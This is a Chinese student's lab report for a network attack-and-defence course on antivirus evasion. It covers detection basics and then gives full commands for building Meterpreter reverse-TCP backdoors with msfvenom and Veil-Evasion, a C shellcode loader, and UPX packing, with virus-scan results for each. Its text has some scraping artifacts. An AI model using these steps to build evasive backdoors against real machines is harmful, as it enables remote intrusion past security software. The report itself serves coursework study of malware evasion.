20155308 《网络攻防》 Exp3 免杀原理与实践

20155308 《网络攻防》 Exp3 免杀原理与实践

基础问题回答

  1. 杀软是如何检测出恶意代码的?
  • 基于特征来检测:恶意代码中通常会有一段有较明显特征的代码也就是特征码,若是杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序看成恶意软件。
  • 基于行为来检测:经过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,并且比较特殊。因此当一个程序在运行时,杀毒软件会监视其行为,若是发现了这种特殊的行为,则会把它当成恶意软件。
  1. 免杀是作什么?
  • 能使病毒木马避免被杀毒软件查杀的技术。
  1. 免杀的基本方法有哪些?
  • 特征码定位、加壳、加花、再编译等等。可是这些方法在生活中都没有怎么使用过,因此但愿经过这一次的实验可以进行了解。

实践过程记录

使用msf生成后门程序的检测

  • 直接将上周作实验时用msf生成的后门文件放在virscan.org中进行扫描,扫描结果以下:

以前我命名的后面文件名称为"20155308_backdoor.exe",会产生如下提示:python

  • 因此我将文件名称中的学号删除,再进行扫描,结果以下:




  • 能够看出,报毒率挺高。若是在使用msf时对它多编码几回,观察报毒率的变化。(进行编码十次)shell

    Msfvenom是Metasploit平台下用来编码payloads免杀的工具。windows

# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe


  • 将生成的文件放到网站上扫描一下:
    安全

  • 能够发现不管编码多少次都是同样,因此想要利用编码次数来达到免杀效果显然是不行的。网络

使用veil-evasion生成后门程序的检测

Veil-Evasion是一个免杀平台,与Metasploit有点相似,在Kalil软件库中有,但默认没装。免杀效果比较好。tcp

  • 安装Veil-Evasion
  • 这一部分由于下载速度太慢了,因此用了老师的虚拟机。
  • 安装以后,首先要启用veil,输入命令:“veil”。这部分我在进入的时候提示以下,因此我须要输入“veil-evasion”进入。


  • 输入命令use python/meterpreter/rev_tcp设置payload。

  • 输入命令set LHOST 192.168.91.128 设置反弹链接IP(此IP为kali机的IP地址),输入命令set LPORT 5308设置反弹端口5308


  • 输入命令generate生成程序,并输入后门程序名称“hwf5308”

  • 该生成的文件hwf5308.exe,路径为/var/lib/veil-evasion/output/compiled

  • 最终用virscan工具查下试试,有没有起到免杀的效果,结果以下


  • 比以前用msf生成的文件报毒率要更低

利用shellcode编写后门程序的检测

  • 使用msf生成一个C语言格式的shellcode,即输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.130 LPORT=5308 -f c
    (其中,LHOST输入kali机的地址,LPORT输入本身的学号)后进行编译。

  • 建立一个文件20155308.c,而后将unsigned char buf[]赋值到其中,代码以下:
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
......
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用命令:i686-w64-mingw32-g++ 20155308.c -o 20155308.exe编译这个.c文件为可执行文件:

  • 在扫描软件上看看,由于系统提示不能出现数字,则我将文件名称改成“hwf.exe”。

  • 结果以下


  • 发现有点做用。

加壳

压缩壳UPX工具

# upx met_raw.exe -o met_raw.upxed.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    101678 ->     56110   55.18%    win32/pe     met.upxed.exe                 

Packed 1 file.
#
  • 该指令加壳的命令格式:upx #须要加壳的文件名 -o #加壳后的文件名

此处为了方便实验,我将以前更名为“hwf.exe”文件改成“5308.exe”。学习

  • 进行扫描看看结果

  • 将后门拷至主机后经过免杀

实验体会

本次实验是了解恶意软件检测机制,经过这方面的漏洞进行文件的更改和后门的处理,用扫描软件进行扫描,以此来观察各类处理优缺点。经过实际的动手操做,验咱们也能够发现要想制做出免杀的病毒其实也并不难,可是最关键的仍是在于咱们要提升本身的安全意识。经过对后门文件各类方式的隐藏的学习,咱们应该反过来进行配置防火墙,监控端口等一些行为来保障咱们计算机的安全。网站

离实战还缺些什么技术或步骤

  • 首先,咱们如今作实验的时候常用一些简单的命令使后门程序植入靶机,可是实战中确定不会这么简单。
  • 其次,咱们如今的科技在不断发展,正如老师实验指导中所说,如今的一些杀软的公司,时刻盯着那些新的后面手段,因此咱们得须要将技术成长到高于这些“老谋深算”的AV。
相关文章
相关标签/搜索